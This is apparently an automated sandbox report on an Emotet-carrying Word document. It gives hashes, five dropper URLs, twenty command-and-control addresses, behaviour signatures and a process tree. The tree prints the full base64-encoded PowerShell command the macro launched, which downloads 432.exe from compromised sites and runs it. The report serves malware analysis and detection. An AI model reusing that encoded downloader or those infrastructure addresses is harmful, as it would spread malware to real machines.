Analysis

  • max time kernel
    29s
  • max time network
    37s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31-07-2020 19:44

General

  • Target

    b84c6bd02a1ba09919957c35ddf7fda80c70f9073269ad8ea26ae09464d96167.doc

  • Size

    169KB

  • MD5

    f8715f7ea35bae3d702c74c0622639a9

  • SHA1

    a2aeaa14f52f4656fd1fef788e96a1a9ef1d5081

  • SHA256

    b84c6bd02a1ba09919957c35ddf7fda80c70f9073269ad8ea26ae09464d96167

  • SHA512

    07d5b357f82a59fab98ce7ee5bba284eb6c76d24b3a211d0c19c4a39810171ca2aada741843240d2c56fab179d261eb1e7659c42e9aa0806158a76ce14d52743

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://moshauer.de/B9kxs4x8n6272826/

exe.dropper

http://geted.de/wwvv2/sTZFOgzh/

exe.dropper

http://suhailacademy.com/wp-admin/oSHA/

exe.dropper

http://smashingcake.com/blog/HNpury/

exe.dropper

https://taolodge.com/pz/YbU2chs1980/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Modifies registry class 280 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b84c6bd02a1ba09919957c35ddf7fda80c70f9073269ad8ea26ae09464d96167.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1460
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Blacklisted process makes network request
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1504
  • C:\Users\Admin\432.exe
    C:\Users\Admin\432.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1920
    • C:\Windows\SysWOW64\cnvfat\apircl.exe
      "C:\Windows\SysWOW64\cnvfat\apircl.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1640

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\432.exe

  • C:\Users\Admin\432.exe

  • C:\Windows\SysWOW64\cnvfat\apircl.exe

  • memory/1460-2-0x0000000008870000-0x0000000008874000-memory.dmp

    Filesize

    16KB

  • memory/1460-4-0x0000000007040000-0x0000000007240000-memory.dmp

    Filesize

    2.0MB

  • memory/1460-5-0x000000000AD30000-0x000000000AD34000-memory.dmp

    Filesize

    16KB

  • memory/1460-6-0x000000000BDB0000-0x000000000BDB4000-memory.dmp

    Filesize

    16KB

  • memory/1460-8-0x0000000002100000-0x0000000002101000-memory.dmp

    Filesize

    4KB

  • memory/1640-12-0x0000000000000000-mapping.dmp

  • memory/1640-14-0x0000000000280000-0x000000000028C000-memory.dmp

    Filesize

    48KB

  • memory/1920-10-0x0000000000330000-0x000000000033C000-memory.dmp

    Filesize

    48KB